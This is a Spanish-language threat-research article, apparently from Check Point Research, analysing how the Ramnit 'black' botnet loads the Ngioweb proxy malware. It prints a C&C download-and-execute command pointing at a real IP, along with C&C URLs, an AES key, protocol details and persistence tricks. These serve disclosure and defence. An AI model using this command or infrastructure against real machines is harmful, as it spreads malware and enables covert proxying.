Detectan red de servidores proxy con Ramnit

08/08/2018

Ramnit es una de las familias de malware bancario más prominentes que existen actualmente y, en los últimos tiempos, Check Point Research supervisó una nueva campaña masiva de Ramnit, denominada 'Black', que llegó a más de 100,000 infecciones en el transcurso de dos meses.

Se usa principalmente para convertir la máquina de la víctima en servidores proxy maliciosos. De hecho, esta nueva campaña masiva en realidad se puede utilizar para muchas cosas, pero nuestra creencia actual es que esto es solo la punta del iceberg y es una señal de advertencia de una operación más grande que los operadores de Ramnit están preparando para nosotros. Por supuesto, continuaremos monitoreando esta campaña en busca de desarrollos, pero mientras tanto queremos compartir nuestros hallazgos y perspectivas sobre esta "nueva amenaza en la ciudad".

Estamos monitoreando constantemente la actividad de los servidores de comando y control (C&C) para diferentes familias de malware para extraer los indicadores de compromiso más recientes (IoC) y así proteger a nuestros clientes. Una de esas familias es el troyano Ramnit, que hace que las máquinas infectadas operen como una red de bots (también conocidos como bonets) altamente centralizada, aunque su arquitectura implica la división de bonets independientes. Recientemente descubrimos el servidor C&C de Ramnit (185.44.75.109) que no está relacionado con el botnet "demetra", que anteriormente era el más frecuente.

Según los nombres de dominio que se resuelven en la dirección IP de este servidor de C&C, pretende controlar incluso los bots antiguos, que se vieron por primera vez en 2015. Llamamos a esta botnet "Black" debido al valor clave RC4, "black", que es utilizado para el cifrado de tráfico en este botnet. Este servidor de C&C ha estado activo desde el 6 de marzo de 2018 pero no llamó la atención debido a la baja capacidad de la botnet "black" en ese momento. Sin embargo, en mayo-julio de 2018 detectamos una nueva campaña de Ramnit con alrededor de 100,000 computadoras infectadas.

También pudimos evaluar la ubicación de los bots involucrados en esta campaña usando varios socavones de dominio:

Ramnit “black” botnet geography.

Hay varias características de esta botnet:

  • Muchas muestras usan nombres de dominio codificados en lugar de DGA.
  • El servidor de C&C no carga módulos adicionales como VNC, robo de contraseñas, FtpGrabber.
  • Los módulos adicionales (FTPServer, WebInjects) están integrados en un paquete con Ramnit.
  • Ramnit se usa como cargador para otro malware llamado Ngioweb.

Ngioweb representa un servidor proxy multifuncional que utiliza su propio protocolo binario con 2 capas de cifrado. El malware proxy admite el modo de conexión remota, modo de retransmisión, IPv4, protocolos IPv6, TCP y transportes UDP con las primeras muestras vistas en la segunda mitad de 2017. El nombre del malware se ha elegido como el único nombre de dominio codificado en el la configuración de malware es "ngioweb [.] su". En el siguiente escrito, mostraremos cómo este malware se usa para construir una enorme botnet proxy multipropósito.

Funcionalidad del malware

Ngioweb utiliza una infraestructura C&C de dos etapas. El servidor STAGE-0 C & C informa al malware sobre el servidor STAGE-1 C & C mientras que la conexión HTTP desencriptada se usa para este propósito. El servidor STAGE-1 C&C se utiliza para controlar el malware a través de un canal encriptado. El esquema a continuación ilustra la secuencia de comunicación que incluye el proceso de infección:

Ngioweb infection and early communication

El malware puede operar en dos modos principales:

  • Proxy de reconexión regular
  • Relay proxy

Modo Proxy Back-Connect regular

Este modo se puede usar para acceder al servicio remoto en nombre de un host infectado. Para establecer una conexión entre el servidor STAGE-1 C&C y el host remoto, se realiza la siguiente secuencia de acciones:

  • Ngioweb Bot-A se conecta al servidor C&C STAGE-0 y recibe el comando para conectarse al servidor C&C STAGE-1 con la dirección A: 6666.
  • Ngioweb Bot-A se conecta con C&C STAGE-1 en A: 6666. El servidor de C&C STAGE-1 le pide a Bot-A que se conecte a x.x.x: 443 a través de TCP.
  • Bot-A se conecta a x.x.x.x: 443
  • Bot-A notifica a C&C STAGE-1 sobre la conexión exitosa y crea una sesión TCP adicional a A: 6666 que se usa para transferir datos entre el servidor de C&C STAGE-1 y x.x.x.x

Accessing remote host using Ngioweb proxy bot.

El mismo modo podría usarse para acceder a recursos internos en la red local de un host infectado:

 Accessing resource in the local network of an infected host.

Modo Proxy de Relé

Este modo es el más poderoso, ya que permite a los actores de malware construir cadenas de proxies y ocultar sus servicios detrás de la dirección IP de un bot. La siguiente secuencia de acciones se usa para crear un servicio oculto utilizando la red de bots de Ngioweb:

  1. Ngioweb Bot-A se conecta a C&C STAGE-0 y recibe el comando para conectarse al servidor C&C STAGE-1 con la dirección X: 6666.
  2. Ngioweb Bot-A se conecta con C&C STAGE-1 (Server-X) en X: 6666. Server-X le pide al robot que inicie el servidor TCP. Ngioweb bot informa sobre el inicio del servidor TCP con la dirección IP y el puerto.
  3. El actor de malware publica la dirección del Bot-A en DNS (o utilizando cualquier otro canal público).
  4. Otro malware Bot-B resuelve la dirección de Bot-A usando DNS (o usando cualquier otro canal público).
  5. Bot-B se conecta a Bot-A.
  6. Bot-A crea una nueva conexión con Server-X y funciona como retransmisión entre Server-X y Bot-B.

Building chain of proxies

Construyendo la cadena de proxies

  1. Ngioweb Bot-A se conecta con C&C STAGE- Le pide al robot que inicie el servidor TCP. Ngioweb bot informa sobre el inicio del servidor TCP con la dirección IP y el puerto.
  2. C&C STAGE-1 informa a C&C STAGE-0 con la dirección IP y el puerto del proxy de retransmisión.
  3. Cuando un nuevo bot (Bot-B) se conecta a C&C STAGE-0, recibe la dirección y el puerto de Bot-A.
  4. Bot-B establece la conexión TCP a Bot-A.
  5. Bot-A establece una nueva conexión TCP a C&C STAGE-1 y, por lo tanto, crea un canal de comunicación entre C&C STAGE-1 y Bot-B. C&C STAGE-1 le pide a Bot-B que se conecte a x.x.x.x: 443
  6. Bot-B se conecta a x.x.x.x: 443
  7. 443 Bot-B establece una nueva conexión con Bot-A, Bot-A establece una nueva conexión con C&C STAGE-1.  Este canal conecta C&C STAGE-1 con x.x.x.x: 443 a través de la cadena de dos bots: Bot-A y Bot-B.Bot-A y Bot-B

Infección

Hemos visto muestras de Ngioweb compiladas junto con Ramnit en un binario dropper que probablemente se hayan distribuido en campañas de spam. Sin embargo, Ngioweb se distribuye principalmente a través de botnet "negro". La secuencia de infección a través de la botnet Ramnit es bastante simple. Cada vez que Ramnit bot se registra en el servidor de C&C, recibe un comando de la siguiente manera:

{

’command’ : ’getexec “dml://185.44.75.109:443/1/v8.exe” “msiexic.exe”’,

’cmd_id’ : 3,

’TTL’ : 3600

}

El servidor Ramnit usa el comando "getexec" para realizar una descarga de bots y ejecutar ejecutables personalizados desde la URL especificada. "Dml" significa que el protocolo binario Ramnit se debe usar para descargar en lugar de HTTP.El segundo argumento del comando "getexec" se usa para especificar el nombre del archivo para el ejecutable descargado.

El parámetro TTL del comando le dice a Ramnit que el comando con el cmd_id especificado expira en segundos TTL y se debe ejecutar de nuevo cuando haya pasado el tiempo. Por lo tanto, la computadora de la víctima se vuelve a infectar con el malware Ngioweb hasta que el robot Ramnit esté activo.

Evaluación de prevalencia

Siempre que el principal vector de infección del malware Ngioweb sea a través de Ramnit, la prevalencia del Ngioweb se puede evaluar a través de la capacidad de botnet Ramnit "black".

El servidor de C&C de Ramnit asigna un número de secuencia único para cada nuevo bot que luego es transmitido por el servidor de C&C con la respuesta a uno de los mensajes de bot.

 

Por lo tanto, a principios de julio de 2018, más de 139,000 computadoras se infectaron con Ngioweb y el siguiente gráfico muestra la dinámica de estas infecciones:

Análisis de Malware

El malware en consecuencia crea una cadena de procesos que inyectan su código allí. En primer lugar, el malware inyecta su código en el proceso recién creado "msiexec.exe" utilizando una técnica de vaciado de procesos.

A continuación, cuando se ejecuta dentro del proceso "msiexec.exe", el malware intenta crear uno de los siguientes procesos para inyectar su carga útil:

  • exe
  • Aplicación predeterminada para abrir archivos con la extensión .html (la ruta de acceso se adquiere usando la función AssocQueryString API)
  • exe

Es en el último proceso de esta cadena donde se realizan las principales acciones maliciosas.

Para evitar crear múltiples instancias de procesos maliciosos, el malware crea un mutex con nombre (y luego verifica su existencia) con un nombre pseudoaleatorio específico:

El malware crea tres hilos para sus siguientes propósitos:

  • Hilo de vigilancia de persistencia
  • Tema para consultar el servidor C&C STAGE-0
  • Hilo del controlador de comandos principales

Para la comunicación entre subprocesos, utiliza las funciones API PostQueuedCompletionStatus y GetQueuedCompletionStatus.

Además, se crea un hilo adicional para cada conexión.

Mecanismos de persistencia

El proxy de Ngioweb usa tres métodos para mantener la persistencia en el sistema operativo de la víctima:

  • Carpeta "Inicio" del usuario actual
  • Tecla de registro "Ejecutar" del usuario actual
  • Tarea programada

El malware intenta copiarse en dos lugares:

  • En la ruta pseudoaleatoria dentro de uno de los "Archivos de programa" (si es accesible),% APPDATA% o% LocalAppData% de directorios
  • En la ruta pseudoaleatoria dentro del directorio% TEMP% utilizando el cifrado de Windows (función API EncryptFile)

El malware usa un algoritmo complicado para generar la ruta para guardar su ejecutable para una próxima configuración de ejecución automática. Elige una carpeta secundaria aleatoria dentro de "Archivos de programa",% APPDATA% o% LocalAppData%, excluyendo carpetas "Temp", "Archivos comunes", "Desinstalar información".

El malware intenta crear una subcarpeta allí con un nombre pseudoaleatorio. Luego trata de encontrar archivos .exe o .dll en esta carpeta, el nombre del archivo encontrado se elige para guardar el ejecutable del malware (forzando su extensión a .exe). Si no se encuentran archivos .exe ni .dll, el malware busca de manera recursiva esos archivos en las subcarpetas internas

Si no se encuentra nada, el malware genera el nombre de la siguiente manera:

El malware crea una subcarpeta para almacenar su ejecutable. El nombre de esta subcarpeta se genera de la siguiente manera:

Por lo tanto, la ruta de destino del malware se verá así:

  • C: \ Archivos de programa \ Internet Explorer \ v6.8.3.6 \ uDkxuDgJ.exe

O bien (si no se encuentra un archivo .exe o .dll apropiado):

  • C: \ Archivos de programa \ Internet Explorer \ v6.8.3.6 \ iexplore.exe

En caso de que no se encuentren subcarpetas apropiadas en el directorio Archivos de programa, el malware crea una carpeta dentro de "Archivos de programa",% APPDATA% o% LocalAppData% con un nombre aleatorio de 8 caracteres (que es impredecible) y luego usa el algoritmo mencionado anteriormente para generar el nombre de la subcarpeta interna y el nombre del archivo .exe. Para el archivo almacenado establece nuevas marcas de tiempo con el mismo valor que tiene ntdll.dll. Además, el malware crea una subcarpeta en el directorio seleccionado (este directorio generalmente permanece vacío), cuyo nombre depende únicamente del número de serie del volumen del sistema

Un ejemplo del nombre generado es:

C:\Archivos de programa\Internet Explorer\2.0.41885

El malware también crea una subcarperta dentr de la carpeta %TEMP% y guarda una copia ahí mismo. El nombre de la subcarpeta y el archivo son generados como se muestra a continuación: 

Como podemos ver, el nombre de la carpeta y el archivo depende solo de un valor codificado, por lo que la ruta será la misma para cada máquina infectada

%TEMP%\{D2309EFC-AB81-74D2-4D23-1674D2309EFC}\ROPYRmXM.exe

El archivo y la carpeta creados se cifran usando la función de la API EncryptFile.

El malware crea dos tareas programadas:

  • Para ejecutar la primera copia (de "Archivos de programa",% APPDATA% o% LocalAppData% al iniciar sesión)
  • Para ejecutar exe cada dos minutos.

Los nombres para las tareas programadas se generan utilizando la misma función, que se usa para generar nombres para mutexes y eventos:

Por lo tanto, los nombres de las tareas programadas serán los mismos para la máquina de cada víctima:

  •  {09EFC5AB-D230-AB81-74D2-4D2309EFC5AB}
  •  {D2309EFC-AB81-74D2-4D23-1674D2309EFC}

Configuración de Malware

Los siguientes datos se almacenan en la configuración de malware:

  • Configuración clave AES-256: utilizada para descifrar la configuración.
  • Clave pública RSA: se usa para verificar la autenticidad del servidor C&C STAGE-0 al verificar su firma digital.
  • Comunicación clave AES-256: utilizada para cifrar la comunicación con el servidor C&C STAGE-1.
  • Direcciones de los servidores C&C STAGE-0.

La configuración se almacena en formato cifrado y los primeros 32 bytes del bloque de configuración se utilizan como clave AES-256 para descifrar la configuración. APLib también se usa para la descomprensión:

A continuación, podemos extraer los datos de la configuración después del descifrado:

Cada campo de configuración se antepone con 2 bytes de su longitud. Por ejemplo, la longitud del primer campo (clave AES-256) es 0x20.

La configuración contiene los siguientes bloques:

Red y comunicaciones

STAGE-0 C&C

El malware usa el protocolo HTTP para conectarse a uno de los servidores C&C de STAGE-0. La URL para la solicitud HTTP se obtiene de la configuración y se ve así: http://46.161.40.50:443/vnnf4pffztd356ey

El malware crea una cadena de consulta para HTTP GET a partir de 20 letras aleatorias y el parámetro User-Agent para la solicitud HTTP está codificado en la muestra. La solicitud por lo tanto se ve así:

GET / vnnf4pffztd356ey? Fafgxybetmnqvmtifcle HTTP / 1.1

User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Host: 46.161.40.50

Cache-Control: no-caché.

La respuesta del servidor contiene comandos seguidos por la firma digital del servidor con codificación BASE64:

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Thu, 07 Jun 2018 02:54:59 GMT

Content-Type: text/plain; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

8
WAIT 60

 

b2
CERT 7PYB0XUnrvomid0DDnlFchiogTULgdmyBz6Rro3hfyyRRqXBzX+W5mbomWG4sKc0i8DTRgV6HuvPqZ6BKgEcIW+jMchM82Zj+vxt9c0js/6Ykg7GcgVNU2v5Un6hrjwWoYHgLdc3lbyGa7bBuRYxV3V+8gxHF2whnIRmfGM2PVM=

0

Los siguientes comandos son compatibles:

STAGE-1 C&C Cuando el malware recibe el comando "CONNECT host: port", crea una conexión con el servidor STAGE-1 C&C especificado. A continuación, utiliza su propio protocolo binario sobre TCP para la comunicación y cada mensaje tanto del servidor como del cliente comienza desde un encabezado de 16 bytes de longitud.

El encabezado se cifra en dos capas: la primera capa es el cifrado AES en modo ECB y la clave de cifrado se almacena en la configuración del malware. En la muestra investigada, el siguiente valor se utiliza como clave AES:

"ava5df # be45av ^ bbdgq! Hiuyyhh4327 $"

Después de descifrar AES, el primer fragmento de 4 bytes del encabezado se usa como clave XOR para descifrar el resto del encabezado. Después del descifrado, el encabezado tiene el siguiente formato:

El malware luego analiza el encabezado para obtener la longitud de los datos transmitidos y la suma de verificación CRC32 de la misma. Los datos del mensaje también se cifran en dos capas y las mismas claves se utilizan para el descifrado.

El mensaje descifrado consiste en uno o más fragmentos con cada fragmento comenzando con el byte del tipo de fragmento:

La cantidad de fragmentos y tipos depende del código del mensaje. El malware es compatible con los siguientes códigos de mensaje:

Cuando el mensaje es enviado por el servidor de C&C, el byte alto del código de mensaje siempre es 0x10. El mensaje del bot tiene 0x00 byte alto de código de mensaje.

Mecanismos de protección

Todas las cadenas en la muestra de malware se ofuscan usando una técnica de "ofuscación de cadenas de pila". Por lo tanto, las cadenas no se almacenan en texto plano ni cifradas, y no se pueden encontrar fácilmente en el binario de malware. Cada cadena se rellena char por char dentro del cuerpo de la función donde es usada:

Cada vez que el malware necesita llamar a una función API, primero resuelve la dirección de una función objetivo utilizando un par de hashes y luego llama a la función API utilizando la dirección resuelta:

El malware utiliza muchas técnicas de evasión destinadas a detectar el entorno de espacio aislado y el software del investigador, y realiza comprobaciones antes de consultar al servidor STAGE-0 C&C. Como resultado, si se desencadena la detección de un entorno aislado o de un analista, el malware extrae una configuración falsa del servidor C & C del bloque cifrado y la utiliza en lugar de una configuración real. La configuración falsa en la muestra analizada es la siguiente:

  • http://104.144.207.211:443/vnnf4pffztd356ey
  • http://46.161.40.50:443/vnnf4pffztd356ey

El primer host probablemente se usa para desencadenar un evento de detección de entorno del analista en el lado del servidor.

Indicadores de compromiso

MD5:

2233ca776f54900d1413e76185a699d6

00dcab7d87c753cd057934fabf391254

7c3bc5776862734a4deaa86732abcffd

0e63e2bd00b8171c569ecbbf61f0ae3c

6321db55485e1e8ae7e8261345bd2448

Vieja versión con DGA

e1953052c0c0a9aa39c51174b9d9a953

Investigación por Alexey Bukhteyev